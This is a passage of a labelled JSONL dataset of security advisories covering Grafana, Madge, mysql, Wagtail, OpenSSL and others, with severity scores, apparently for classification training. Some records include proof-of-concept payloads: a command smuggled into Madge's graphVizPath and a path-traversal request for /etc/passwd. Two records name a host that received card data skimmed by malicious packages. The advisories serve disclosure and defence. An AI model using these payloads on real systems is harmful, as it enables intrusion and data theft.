`/api/snapshots/:key`\n\nIf the snapshot \"public_mode\" configuration setting is set to true (vs default of false), unauthenticated users are able to delete the snapshot with the lowest database key by accessing the literal path:\n\n* `/api/snapshots-delete/:deleteKey`\n\nRegardless of the snapshot \"public_mode\" setting, authenticated users are able to delete the snapshot with the lowest database key by accessing the literal paths:\n\n* `/api/snapshots/:key`, or\n* `/api/snapshots-delete/:deleteKey`\n\nThe combination of deletion and viewing enables a complete walk through all snapshot data while resulting in complete snapshot data loss.\n\n### Attack audit\n\nWhile we can not guarantee that the below will identify all attacks, if you do find something with the below, you should consider doing a full assessment.\n\n#### Through reverse proxy/load balancer logs\n\nTo determine if your Grafana installation has been exploited for this vulnerability, search through your reverse proxy/load balancer access logs for instances where the path is `/dashboard/snapshot/:key`, `/api/snapshots/:key` or `/api/snapshots-delete/:deleteKey`, and the response status code was 200 (OK).\nFor example, if you’re using the Kubernetes ingress-nginx controller and sending logs to Loki, use a LogQL query like `{job=\"nginx-ingress-controller\"} |= \"\\\"status\\\": 200\" |= \"\\\"uri\\\": \\\"/api/snapshots/:key\\\"\"`.\n\n#### Through the Grafana Enterprise audit feature\n\nIf you enabled “Log web requests” in your configuration with `router_logging = true`, look for\n`\"requestUri\":\"/api/snapshots-delete/”`,`“requestUri\":\"/api/snapshots/:key\"`, or `\"type\":\"snapshot\"` in combination with `\"action\":\"delete\"`.\n\n### Patched versions\n\nRelease 8.1.6: \n\n- [Download Grafana 8.1.6](https://grafana.com/grafana/download/8.1.6)\n- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/)\n\nRelease 7.5.11: \n\n- [Download Grafana 7.5.11](https://grafana.com/grafana/download/7.5.11)\n- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-5-11/)\n\n### Solutions and mitigations\n\nDownload and install the appropriate patch for your version of Grafana.\n\n[Grafana Cloud](https://grafana.com/cloud) instances have already been patched, and [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.\n\n### Workaround\n\nIf for some reason you cannot upgrade:\n\nYou can use a reverse proxy or similar to block access to the literal paths\n* `/api/snapshots/:key`\n* `/api/snapshots-delete/:deleteKey`\n* `/dashboard/snapshot/:key`\n* `/api/snapshots/:key`\n\nThey have no normal function and can be disabled without side effects.\n\n### Timeline and postmortem\n\nHere is a detailed timeline starting from when we original", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-05", "split": "train"}
-{"id": "5f4c81761d4541d03e4f", "text": "rendertron LFI vulnerability\n\nRendertron 1.0.0 allows for alternative protocols such as 'file://' introducing a Local File Inclusion (LFI) bug where arbitrary files can be read by a remote attacker.", "text_raw": "rendertron LFI vulnerability\n\n[Severity: HIGH]\n\nRendertron 1.0.0 allows for alternative protocols such as 'file://' introducing a Local File Inclusion (LFI) bug where arbitrary files can be read by a remote attacker.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "df18c15c44e76389edda", "text": "Madge vulnerable to command injection\n\nThis affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.\n\n### PoC\n```js\nconst madge = require('madge'); \nmadge('..', {graphVizPath: \"touch HELLO;\"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });\n```", "text_raw": "Madge vulnerable to command injection\n\n[Severity: HIGH]\n\nThis affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.\n\n### PoC\n```js\nconst madge = require('madge'); \nmadge('..', {graphVizPath: \"touch HELLO;\"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "1a51109977fc721478aa", "text": "Fortinet FortiOS SSL VPN Improper Authentication Vulnerability\n\nAffected: Fortinet FortiOS\n\nFortinet FortiOS SSL VPN contains an improper authentication vulnerability that may allow a user to login successfully without being prompted for the second factor of authentication (FortiToken) if they change the case in their username.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-178, CWE-287\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Fortinet FortiOS SSL VPN Improper Authentication Vulnerability\n\nAffected: Fortinet FortiOS\n\nFortinet FortiOS SSL VPN contains an improper authentication vulnerability that may allow a user to login successfully without being prompted for the second factor of authentication (FortiToken) if they change the case in their username.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-178, CWE-287\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "1b221e2a1e01015bcfaf", "text": "Malicious Package in nginxbeautifier\n\nVersion 1.0.14 of `nginxbeautifier` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.14 of this module is found installed you will want to replace it with a version before or after 1.0.14. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in nginxbeautifier\n\n[Severity: CRITICAL]\n\nVersion 1.0.14 of `nginxbeautifier` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 1.0.14 of this module is found installed you will want to replace it with a version before or after 1.0.14. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "8a8d26b0b9a74c34106f", "text": "Data races in signal-simple\n\nAffected versions of this crate unconditionally implement Send/Sync for SyncChannel<T>. SyncChannel<T> doesn't provide access to &T but merely serves as a channel that consumes and returns owned T.\n\nUsers can create UB in safe Rust by sending T: !Send to other threads with SyncChannel::send/recv APIs. Using T = Arc<Cell<_> allows to create data races (which can lead to memory corruption), and using T = MutexGuard<T> allows to unlock a mutex from a thread that didn't lock the mutex.", "text_raw": "Data races in signal-simple\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implement Send/Sync for SyncChannel<T>. SyncChannel<T> doesn't provide access to &T but merely serves as a channel that consumes and returns owned T.\n\nUsers can create UB in safe Rust by sending T: !Send to other threads with SyncChannel::send/recv APIs. Using T = Arc<Cell<_> allows to create data races (which can lead to memory corruption), and using T = MutexGuard<T> allows to unlock a mutex from a thread that didn't lock the mutex.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6d79ddde77359ae78150", "text": "OS Command Injection in rpi\n\nrpi through 0.0.3 allows execution of arbritary commands. The variable pinNumbver in function GPIO within src/lib/gpio.js is used as part of the arguement of exec function without any sanitization.", "text_raw": "OS Command Injection in rpi\n\n[Severity: MEDIUM]\n\nrpi through 0.0.3 allows execution of arbritary commands. The variable pinNumbver in function GPIO within src/lib/gpio.js is used as part of the arguement of exec function without any sanitization.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "8747823fcf804889e510", "text": "CLI does not correctly implement strict mode\n\nIn the affected versions, the AWS Encryption CLI operated in \"discovery mode\" even when \"strict mode\" was specified. Although decryption only succeeded if the user had permission to decrypt with at least one of the CMKs, decryption could be successful using a CMK that was not included in the user-defined set when the CLI was operating in \"strict mode.\"\n\nAffected users should upgrade to Encryption CLI v1.8.x or v2.1.x as soon as possible.", "text_raw": "CLI does not correctly implement strict mode\n\n[Severity: LOW]\n\nIn the affected versions, the AWS Encryption CLI operated in \"discovery mode\" even when \"strict mode\" was specified. Although decryption only succeeded if the user had permission to decrypt with at least one of the CMKs, decryption could be successful using a CMK that was not included in the user-defined set when the CLI was operating in \"strict mode.\"\n\nAffected users should upgrade to Encryption CLI v1.8.x or v2.1.x as soon as possible.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-10-28", "split": "train"}
-{"id": "0428418e27da0cc46f06", "text": "mysql Node.JS Module Vulnerable to Remote Memory Exposure\n\nVersions of `mysql` before 2.14.0 are vulnerable to remove memory exposure.\n\nAffected versions of `mysql` package allocate and send an uninitialized memory over the network when a number is provided as a password.\n\nOnly `mysql` running on Node.js versions below 6.0.0 are affected due to a throw added in newer node.js versions.\n\nProof of Concept:\n\n```\nrequire('mysql').createConnection({\n  host: 'localhost',\n  user: 'user',\n  password : USERPROVIDEDINPUT,  // number\n  database : 'my_db'\n}).connect();\n```\n\n## Recommendation\n\nUpdate to version 2.14.0 or later.", "text_raw": "mysql Node.JS Module Vulnerable to Remote Memory Exposure\n\n[Severity: MEDIUM]\n\nVersions of `mysql` before 2.14.0 are vulnerable to remove memory exposure.\n\nAffected versions of `mysql` package allocate and send an uninitialized memory over the network when a number is provided as a password.\n\nOnly `mysql` running on Node.js versions below 6.0.0 are affected due to a throw added in newer node.js versions.\n\nProof of Concept:\n\n```\nrequire('mysql').createConnection({\n  host: 'localhost',\n  user: 'user',\n  password : USERPROVIDEDINPUT,  // number\n  database : 'my_db'\n}).connect();\n```\n\n\n\n## Recommendation\n\nUpdate to version 2.14.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-23", "split": "train"}
-{"id": "1bb80150fbfbac075376", "text": "Unrestricted file uploads in Contao\n\n### Impact\n\nA back end user with access to the form generator can upload arbitrary files and execute them on the server.\n\n### Patches\n\nUpdate to Contao 4.4.46 or 4.8.6.\n\n### Workarounds\n\nConfigure your web server so it does not execute PHP files and other scripts in the Contao file upload directory.\n\n### References\n\nhttps://contao.org/en/security-advisories/unrestricted-file-uploads\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).", "text_raw": "Unrestricted file uploads in Contao\n\n[Severity: HIGH]\n\n### Impact\n\nA back end user with access to the form generator can upload arbitrary files and execute them on the server.\n\n### Patches\n\nUpdate to Contao 4.4.46 or 4.8.6.\n\n### Workarounds\n\nConfigure your web server so it does not execute PHP files and other scripts in the Contao file upload directory.\n\n### References\n\nhttps://contao.org/en/security-advisories/unrestricted-file-uploads\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-17", "split": "train"}
-{"id": "6a5a6bfe6f14d801b580", "text": "Sakai 10.7 Multiple Vulnerabilities", "text_raw": "Sakai 10.7 Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-08-21", "split": "train"}
-{"id": "0dd15fdb6368c5a61e0d", "text": "Server-Side Request Forgery (SSRF) in Apache Olingo\n\nApache Olingo versions 4.0.0 to 4.7.0 provide the AsyncRequestWrapperImpl class which reads a URL from the Location header, and then sends a GET or DELETE request to this URL. It may allow to implement a SSRF attack. If an attacker tricks a client to connect to a malicious server, the server can make the client call any URL including internal resources which are not directly accessible by the attacker.", "text_raw": "Server-Side Request Forgery (SSRF) in Apache Olingo\n\n[Severity: HIGH]\n\nApache Olingo versions 4.0.0 to 4.7.0 provide the AsyncRequestWrapperImpl class which reads a URL from the Location header, and then sends a GET or DELETE request to this URL. It may allow to implement a SSRF attack. If an attacker tricks a client to connect to a malicious server, the server can make the client call any URL including internal resources which are not directly accessible by the attacker.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-04", "split": "train"}
-{"id": "912914f07b3e18e76b87", "text": "Inability to de-op players if listed in ops.txt with non-lowercase letters\n\n### Impact\nOriginally reported in iTXTech/Genisys#1188\n\n```txt\nPotterHarry98\npotterharry98\n```\n\n`deop PotterHarry98`\n\nwill remove `potterharry98` from the ops.txt but not `PotterHarry98`.\n\nOperator permissions are checked using `Config->exists()` with `lowercase=true`, which will result in a match:\nhttps://github.com/pmmp/PocketMine-MP/blob/22bb1ce8e03dba57173debf0415390511d68e045/src/utils/Config.php#L449\n\nThis means that it's possible to make yourself impossible to de-op (using commands) by adding your name to ops.txt with uppercase letters.\n\n### Patches\n4d37b79ff7f9d9452e988387f97919a9a1c4954e\n\n### Workarounds\nThis can be easily addressed by removing the offending lines from ops.txt manually.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pmmp/PocketMine-MP](https://github.com/pmmp/PocketMine-MP)\n* Email us at [team@pmmp.io](mailto:team@pmmp.io)", "text_raw": "Inability to de-op players if listed in ops.txt with non-lowercase letters\n\n[Severity: LOW]\n\n### Impact\nOriginally reported in iTXTech/Genisys#1188\n\n```txt\nPotterHarry98\npotterharry98\n```\n\n`deop PotterHarry98`\n\nwill remove `potterharry98` from the ops.txt but not `PotterHarry98`.\n\nOperator permissions are checked using `Config->exists()` with `lowercase=true`, which will result in a match:\nhttps://github.com/pmmp/PocketMine-MP/blob/22bb1ce8e03dba57173debf0415390511d68e045/src/utils/Config.php#L449\n\nThis means that it's possible to make yourself impossible to de-op (using commands) by adding your name to ops.txt with uppercase letters.\n\n### Patches\n4d37b79ff7f9d9452e988387f97919a9a1c4954e\n\n### Workarounds\nThis can be easily addressed by removing the offending lines from ops.txt manually.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pmmp/PocketMine-MP](https://github.com/pmmp/PocketMine-MP)\n* Email us at [team@pmmp.io](mailto:team@pmmp.io)\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "be1416faf4f77916679c", "text": "Secure Computing SnapGear Management Console SG560 v3.1.5 CSRF Add Super User", "text_raw": "Secure Computing SnapGear Management Console SG560 v3.1.5 CSRF Add Super User\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-06-04", "split": "train"}
-{"id": "5c551e14885dae615c1b", "text": "Observable Discrepancy in libsecp256k1-rs\n\nA timing vulnerability in the Scalar::check_overflow function in Parity libsecp256k1-rs before 0.3.1 potentially allows an attacker to leak information via a side-channel attack.", "text_raw": "Observable Discrepancy in libsecp256k1-rs\n\n[Severity: MEDIUM]\n\nA timing vulnerability in the Scalar::check_overflow function in Parity libsecp256k1-rs before 0.3.1 potentially allows an attacker to leak information via a side-channel attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "60a3be992709887e724f", "text": "CSRF token exposure in TYPO3 extension\n\nWhen using the CsrfTokenViewHelper the extension discloses the user's session identifier to HTML output without processing of additional cryptographic hashing algorithms. This vulnerability cannot be exploited directly and occurs in combination with a chained attack - like for instance Cross Site Scripting  in the frontend output.", "text_raw": "CSRF token exposure in TYPO3 extension\n\n[Severity: MEDIUM]\n\nWhen using the CsrfTokenViewHelper the extension discloses the user's session identifier to HTML output without processing of additional cryptographic hashing algorithms. This vulnerability cannot be exploited directly and occurs in combination with a chained attack - like for instance Cross Site Scripting  in the frontend output.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "2415c71f4ace3e28b2c0", "text": "Advanced Content Filter (ACF) vulnerability allowing to execute JavaScript code using malformed HTML\n\n### Affected packages\nThe vulnerability has been discovered in the Advanced Content Filter (ACF) module and may affect all plugins used by CKEditor 4.\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 Advanced Content Filter (ACF) core module. The vulnerability allowed to inject malformed HTML bypassing content sanitization, which could result in executing JavaScript code. It affects all users using the CKEditor 4 at version < 4.17.0.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.17.0.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank Maurice Dauer ([laytonctf](https://twitter.com/laytonctf)) for recognizing and reporting this vulnerability.", "text_raw": "Advanced Content Filter (ACF) vulnerability allowing to execute JavaScript code using malformed HTML\n\n[Severity: HIGH]\n\n### Affected packages\nThe vulnerability has been discovered in the Advanced Content Filter (ACF) module and may affect all plugins used by CKEditor 4.\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 Advanced Content Filter (ACF) core module. The vulnerability allowed to inject malformed HTML bypassing content sanitization, which could result in executing JavaScript code. It affects all users using the CKEditor 4 at version < 4.17.0.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.17.0.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank Maurice Dauer ([laytonctf](https://twitter.com/laytonctf)) for recognizing and reporting this vulnerability.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-17", "split": "train"}
-{"id": "928c4eb6946814c4cb85", "text": "Directory Traversal in byucslabsix\n\nAffected versions of `byucslabsix` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in byucslabsix\n\n[Severity: HIGH]\n\nAffected versions of `byucslabsix` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "8d225f116fe858122344", "text": "Sitemagic CMS 2010.04.17 (SMExt) Remote Cross-Site Scripting Vulnerability", "text_raw": "Sitemagic CMS 2010.04.17 (SMExt) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-06-21", "split": "train"}
-{"id": "7c350adb114ad24c4b6c", "text": "Cross-Site Request Forgery (CSRF) in Auth0\n\nCSRF exists in the Auth0 authentication service through 14591 if the Legacy Lock API flag is enabled.", "text_raw": "Cross-Site Request Forgery (CSRF) in Auth0\n\n[Severity: HIGH]\n\nCSRF exists in the Auth0 authentication service through 14591 if the Legacy Lock API flag is enabled.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "efb76a548560a8f93e36", "text": "Duplicate Advisory: Command Injection in node-rules\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-f78f-353m-cf4j. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `node-rules` prior to 5.0.0 are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `eval` call when using the `fromJSON` function. This may allow attackers to execute arbitrary code in the system if the rules are user-controlled.\n\n## Recommendation\n\nUpgrade to version 5.0.0 or later.", "text_raw": "Duplicate Advisory: Command Injection in node-rules\n\n[Severity: HIGH]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-f78f-353m-cf4j. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `node-rules` prior to 5.0.0 are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `eval` call when using the `fromJSON` function. This may allow attackers to execute arbitrary code in the system if the rules are user-controlled.\n\n\n## Recommendation\n\nUpgrade to version 5.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4e4a45b7d5c8c3fd4620", "text": "yajl-ruby gem Denial of Service vulnerability\n\nIn the yajl-ruby gem 1.3.0 for Ruby, when a crafted JSON file is supplied to `Yajl::Parser.new.parse`, the whole ruby process crashes with a SIGABRT in the `yajl_string_decode` function in `yajl_encode.c`. This results in the whole ruby process terminating and potentially a denial of service.", "text_raw": "yajl-ruby gem Denial of Service vulnerability\n\n[Severity: HIGH]\n\nIn the yajl-ruby gem 1.3.0 for Ruby, when a crafted JSON file is supplied to `Yajl::Parser.new.parse`, the whole ruby process crashes with a SIGABRT in the `yajl_string_decode` function in `yajl_encode.c`. This results in the whole ruby process terminating and potentially a denial of service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-11-28", "split": "train"}
-{"id": "748e73cd36fe4c4337dd", "text": "Apache Airflow cross-site scripting due to incomplete fix for CVE-2020-13944\n\nThe `origin` parameter passed to some of the endpoints like `/trigger` was vulnerable to XSS exploit. This issue affects Apache Airflow versions prior to 1.10.15. This is same as CVE-2020-13944 but the implemented fix in Airflow 1.10.13 did not fix the issue completely.", "text_raw": "Apache Airflow cross-site scripting due to incomplete fix for CVE-2020-13944\n\n[Severity: MEDIUM]\n\nThe `origin` parameter passed to some of the endpoints like `/trigger` was vulnerable to XSS exploit. This issue affects Apache Airflow versions prior to 1.10.15. This is same as CVE-2020-13944 but the implemented fix in Airflow 1.10.13 did not fix the issue completely.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "ee45e4b3460f050b2b41", "text": "Improper Neutralization of Formula Elements in a CSV File in html-2-csv\n\nThis affects all versions of package html-to-csv. When there is a formula embedded in a HTML page, it gets accepted without any validation and the same would be pushed while converting it into a CSV file. Through this a malicious actor can embed or generate a malicious link or execute commands via CSV files.", "text_raw": "Improper Neutralization of Formula Elements in a CSV File in html-2-csv\n\n[Severity: MEDIUM]\n\nThis affects all versions of package html-to-csv. When there is a formula embedded in a HTML page, it gets accepted without any validation and the same would be pushed while converting it into a CSV file. Through this a malicious actor can embed or generate a malicious link or execute commands via CSV files.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-30", "split": "train"}
-{"id": "e0028b7d248562da13f5", "text": "Malicious Package in angular-material-sidenav-rnd\n\nVersion 0.1.1 of `angular-material-sidenav-rnd` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.1.1 of this module is found installed you will want to replace it with a version before or after 0.1.1. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in angular-material-sidenav-rnd\n\n[Severity: CRITICAL]\n\nVersion 0.1.1 of `angular-material-sidenav-rnd` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n## Recommendation\n\nIf version 0.1.1 of this module is found installed you will want to replace it with a version before or after 0.1.1. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "8e9fcd3b986ae28d771c", "text": "Cross-Site Scripting in Wagtail\n\n### Impact\nWhen a form page type is made available to Wagtail editors through the `wagtail.contrib.forms` app, and the page template is built using Django's standard form rendering helpers such as `form.as_p` ([as directed in the documentation](https://docs.wagtail.io/en/stable/reference/contrib/forms/index.html#usage)), any HTML tags used within a form field's help text will be rendered unescaped in the page. Allowing HTML within help text is [an intentional design decision](https://docs.djangoproject.com/en/3.0/ref/models/fields/#django.db.models.Field.help_text) by Django; however, as a matter of policy Wagtail does not allow editors to insert arbitrary HTML by default, as this could potentially be used to carry out cross-site scripting attacks, including privilege escalation. This functionality should therefore not have been made available to editor-level users.\n\nThe vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin.\n\n### Patches\nPatched versions have been released as Wagtail 2.7.4 (for the LTS 2.7 branch) and Wagtail 2.9.3 (for the current 2.9 branch). In these versions, help text will be escaped to prevent the inclusion of HTML tags. Site owners who wish to re-enable the use of HTML within help text (and are willing to accept the risk of this being exploited by editors) may set `WAGTAILFORMS_HELP_TEXT_ALLOW_HTML = True` in their configuration settings.\n\n### Workarounds\nSite owners who are unable to upgrade to the new versions can secure their form page templates by [rendering forms field-by-field as per Django's documentation](https://docs.djangoproject.com/en/3.0/topics/forms/#looping-over-the-form-s-fields), but omitting the `|safe` filter when outputting the help text.\n\n### Acknowledgements\nMany thanks to Timothy Bautista for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Visit Wagtail's [support channels](https://docs.wagtail.io/en/stable/support.html)\n* Email us at [security@wagtail.io](mailto:security@wagtail.io) (if you wish to send encrypted email, the public key ID is `0x6ba1e1a86e0f8ce8`)", "text_raw": "Cross-Site Scripting in Wagtail\n\n[Severity: HIGH]\n\n### Impact\nWhen a form page type is made available to Wagtail editors through the `wagtail.contrib.forms` app, and the page template is built using Django's standard form rendering helpers such as `form.as_p` ([as directed in the documentation](https://docs.wagtail.io/en/stable/reference/contrib/forms/index.html#usage)), any HTML tags used within a form field's help text will be rendered unescaped in the page. Allowing HTML within help text is [an intentional design decision](https://docs.djangoproject.com/en/3.0/ref/models/fields/#django.db.models.Field.help_text) by Django; however, as a matter of policy Wagtail does not allow editors to insert arbitrary HTML by default, as this could potentially be used to carry out cross-site scripting attacks, including privilege escalation. This functionality should therefore not have been made available to editor-level users.\n\nThe vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin.\n\n### Patches\nPatched versions have been released as Wagtail 2.7.4 (for the LTS 2.7 branch) and Wagtail 2.9.3 (for the current 2.9 branch). In these versions, help text will be escaped to prevent the inclusion of HTML tags. Site owners who wish to re-enable the use of HTML within help text (and are willing to accept the risk of this being exploited by editors) may set `WAGTAILFORMS_HELP_TEXT_ALLOW_HTML = True` in their configuration settings.\n\n### Workarounds\nSite owners who are unable to upgrade to the new versions can secure their form page templates by [rendering forms field-by-field as per Django's documentation](https://docs.djangoproject.com/en/3.0/topics/forms/#looping-over-the-form-s-fields), but omitting the `|safe` filter when outputting the help text.\n\n### Acknowledgements\nMany thanks to Timothy Bautista for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Visit Wagtail's [support channels](https://docs.wagtail.io/en/stable/support.html)\n* Email us at [security@wagtail.io](mailto:security@wagtail.io) (if you wish to send encrypted email, the public key ID is `0x6ba1e1a86e0f8ce8`)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-20", "split": "train"}
-{"id": "548a9b2160303ed40b7a", "text": "[Code Injection] Windows builds with insecure path defaults (CVE-2019-1552)\n\nAdvisory: https://www.openssl.org/news/secadv/20190730.txt\n\n```\n\nOpenSSL has internal defaults for a directory tree where it can find a\nconfiguration file as well as certificates used for verification in\nTLS.  This directory is most commonly referred to as OPENSSLDIR, and\nis configurable with the --prefix / --openssldir configuration options.\n\nFor OpenSSL versions 1.1.0 and 1.1.1, the mingw configuration targets\nassume that resulting programs and libraries are installed in a\nUnix-like environment and the default prefix for program installation\nas well as for OPENSSLDIR should be '/usr/local'.\n\nHowever, mingw programs are Windows programs, and as such, find\nthemselves looking at sub-directories of 'C:/usr/local', which may be\nworld writable, which enables untrusted users to modify OpenSSL's\ndefault configuration, insert CA certificates, modify (or even\nreplace) existing engine modules, etc.\n\nFor OpenSSL 1.0.2, '/usr/local/ssl' is used as default for OPENSSLDIR\non all Unix and Windows targets, including Visual C builds.  However,\nsome build instructions for the diverse Windows targets on 1.0.2\nencourage you to specify your own --prefix.\n\nThe mitigations are found in these commits:\n- For 1.1.1, commit 54aa9d51b09d67e90db443f682cface795f5af9e\n- For 1.1.0, commit e32bc855a81a2d48d215c506bdeb4f598045f7e9 and\n  b15a19c148384e73338aa7c5b12652138e35ed28\n- For 1.0.2, commit d333ebaf9c77332754a9d5e111e2f53e1de54fdd\n\nThe 1.1.1 and 1.1.0 mitigation set more appropriate defaults for\nmingw, while the 1.0.2 mitigation documents the issue and provides\nenhanced examples.\n\nThis issue was reported by Rich Mirch.  The fix was developed by\nRichard Levitte from the OpenSSL development team.  It was reported to\nOpenSSL on 9th Jun 2019.\n```\n## Summary:\nI have confirmed this vulnerability in over a dozen Windows applications. A few public links have been included below. While the OpenSSL project rated this a low, most projects/vendors that I have worked with have rated it a high due to the ability to inject arbitrary code into the calling process from a low privileged user.\n\n## Supporting Material/References:\n* curl/libcurl - Windows OpenSSL engine code injection https://curl.haxx.se/docs/CVE-2019-5443.html\n* CVE-2019-12572 PIA Windows Privilege Escalation: Malicious OpenSSL Engine https://blog.mirch.io/2019/06/10/cve-2019-12572-pia-windows-privilege-escalation-malicious-openssl-engine/\n* Stunnel Windows local privilege escalation vulnerability https://www.stunnel.org/pipermail/stunnel-users/2019-June/006417.html\n* CVE-2019-10211: EnterpriseDB Windows installer bundled OpenSSL executes code from unprotected directory https://www.postgresql.org/about/news/1960/\n\n## Impact\n\nThis can result in the elevation of privileges for the vulnerable application. Low privileged accounts on Windows allow authenticated low privileged users the ability to create directories under the top level root directory c:\\\\. A malicious user could create this path and add a custom openssl.cnf file to load a OpenSSL engine library. When this library is loaded, arbitrary code would be executed with the full authority of the calling process. In some cases this is a service running with SYSTEM privileges - the highest authority on Windows systems.", "text_raw": "[Code Injection] Windows builds with insecure path defaults (CVE-2019-1552)\n\nAdvisory: https://www.openssl.org/news/secadv/20190730.txt\n\n```\nSeverity: Low\n\nOpenSSL has internal defaults for a directory tree where it can find a\nconfiguration file as well as certificates used for verification in\nTLS.  This directory is most commonly referred to as OPENSSLDIR, and\nis configurable with the 